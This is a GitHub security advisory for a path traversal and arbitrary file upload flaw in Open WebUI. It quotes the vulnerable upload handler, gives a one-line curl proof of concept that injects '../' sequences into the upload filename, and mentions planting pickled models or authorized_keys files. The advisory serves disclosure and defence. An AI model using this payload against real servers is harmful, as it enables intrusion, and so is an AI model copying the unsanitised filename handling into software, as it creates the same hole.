GHSA-9PGH-J74G-QJ6M

Vulnerability from github – Published: 2026-05-08 22:38 – Updated: 2026-05-19 15:57
VLAI
Summary
Open WebUI Vulnerable to Arbitrary File Upload and Path Traversal
Details

CONFIDENTIAL

KL-CAN-2024-002

Vulnerability Details

# Field Value
1 Discoverer Jaggar Henry & Sean Segreti of KoreLogic, Inc.
2 Date Submitted 2024.03.12
3 Title Open WebUI Arbitrary File Upload + Path Traversal
5 Affected Vendor Open WebUI
6 Affected Product(s) Open WebUI (Formerly Ollama WebUI)
7 Affected Version(s) 0.1.105
8 Platform/OS Debian GNU/Linux 12 (bookworm)
9 Vector HTTP web interface
10 CWE CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type

4. High-level Summary

Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability.


11. Technical Analysis

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the /rag/api/v1/doc API route:

@app.post("/doc")
def store_doc(
    collection_name: Optional[str] = Form(None),
    file: UploadFile = File(...),
    user=Depends(get_current_user),
):
    # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"

    print(file.content_type)
    try:
        filename = file.filename
        file_path = f"{UPLOAD_DIR}/{filename}"
        contents = file.file.read()
        with open(file_path, "wb") as f:
            f.write(contents)
            f.close()

The file variable is a representation of the multipart form data contained within the HTTP POST request. The filename variable is derived from the uploaded file name and is not validated before writing the file contents to disk.

This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled authorized_keys file to remotely connect to the machine.


12. Proof-of-Concept

Execute the following cURL command:

TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\
curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc"

Verify the file pwned.txt exists in the /tmp/ directory on the machine hosting the web server:

ollama@webserver:~$ cat /tmp/pwned.txt 
korelogic
ollama@webserver:~$
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.123"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.124"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44566"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:38:09Z",
    "nvd_published_at": "2026-05-15T22:16:52Z",
    "severity": "HIGH"
  },
  "details": "# **CONFIDENTIAL**\n\n# KL-CAN-2024-002\n\n## Vulnerability Details\n\n| # | Field | Value |\n|---|-------|-------|\n| 1 | **Discoverer** | Jaggar Henry \u0026 Sean Segreti of KoreLogic, Inc. |\n| 2 | **Date Submitted** | 2024.03.12 |\n| 3 | **Title** | Open WebUI Arbitrary File Upload + Path Traversal |\n| 5 | **Affected Vendor** | Open WebUI |\n| 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) |\n| 7 | **Affected Version(s)** | 0.1.105 |\n| 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) |\n| 9 | **Vector** | HTTP web interface |\n| 10 | **CWE** | CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027), CWE-434: Unrestricted Upload of File with Dangerous Type |\n\n---\n\n## 4. High-level Summary\n\nAttacker controlled files can be uploaded to arbitrary locations on the web server\u0027s filesystem by abusing a path traversal vulnerability.\n\n---\n\n## 11. Technical Analysis\n\nWhen attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory.\n\nThe name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.\n\nThis can be visualized by examining the python code for the `/rag/api/v1/doc` API route:\n\n```python\n@app.post(\"/doc\")\ndef store_doc(\n    collection_name: Optional[str] = Form(None),\n    file: UploadFile = File(...),\n    user=Depends(get_current_user),\n):\n    # \"https://www.gutenberg.org/files/1727/1727-h/1727-h.htm\"\n\n    print(file.content_type)\n    try:\n        filename = file.filename\n        file_path = f\"{UPLOAD_DIR}/{filename}\"\n        contents = file.file.read()\n        with open(file_path, \"wb\") as f:\n            f.write(contents)\n            f.close()\n```\n\nThe `file` variable is a representation of the multipart form data contained within the HTTP POST request. The `filename` variable is derived from the uploaded file name and is not validated before writing the file contents to disk.\n\nThis can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled `authorized_keys` file to remotely connect to the machine.\n\n---\n\n## 12. Proof-of-Concept\n\nExecute the following cURL command:\n\n```bash\nTARGET_URI=\u0027https://redacted.com\u0027; JWT=\u0027redacted\u0027; LOCAL_FILE=\u0027/tmp/file_to_upload.txt\u0027\\\ncurl -H \"Authorization: Bearer $JWT\" -F \"file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt\" \"$TARGET_URI/rag/api/v1/doc\"\n```\n\nVerify the file `pwned.txt` exists in the `/tmp/` directory on the machine hosting the web server:\n\n```console\nollama@webserver:~$ cat /tmp/pwned.txt \nkorelogic\nollama@webserver:~$\n```",
  "id": "GHSA-9pgh-j74g-qj6m",
  "modified": "2026-05-19T15:57:30Z",
  "published": "2026-05-08T22:38:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-9pgh-j74g-qj6m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44566"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI Vulnerable to Arbitrary File Upload and Path Traversal"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
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